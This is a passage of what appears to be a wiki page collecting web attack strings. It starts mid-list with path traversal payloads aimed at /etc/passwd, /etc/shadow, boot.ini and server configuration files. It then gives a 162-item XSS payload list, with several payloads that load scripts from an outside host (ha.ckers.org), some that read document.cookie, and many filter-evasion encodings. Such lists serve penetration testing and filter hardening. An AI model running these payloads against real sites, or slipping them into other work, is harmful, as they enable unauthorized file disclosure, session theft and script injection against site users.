/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> 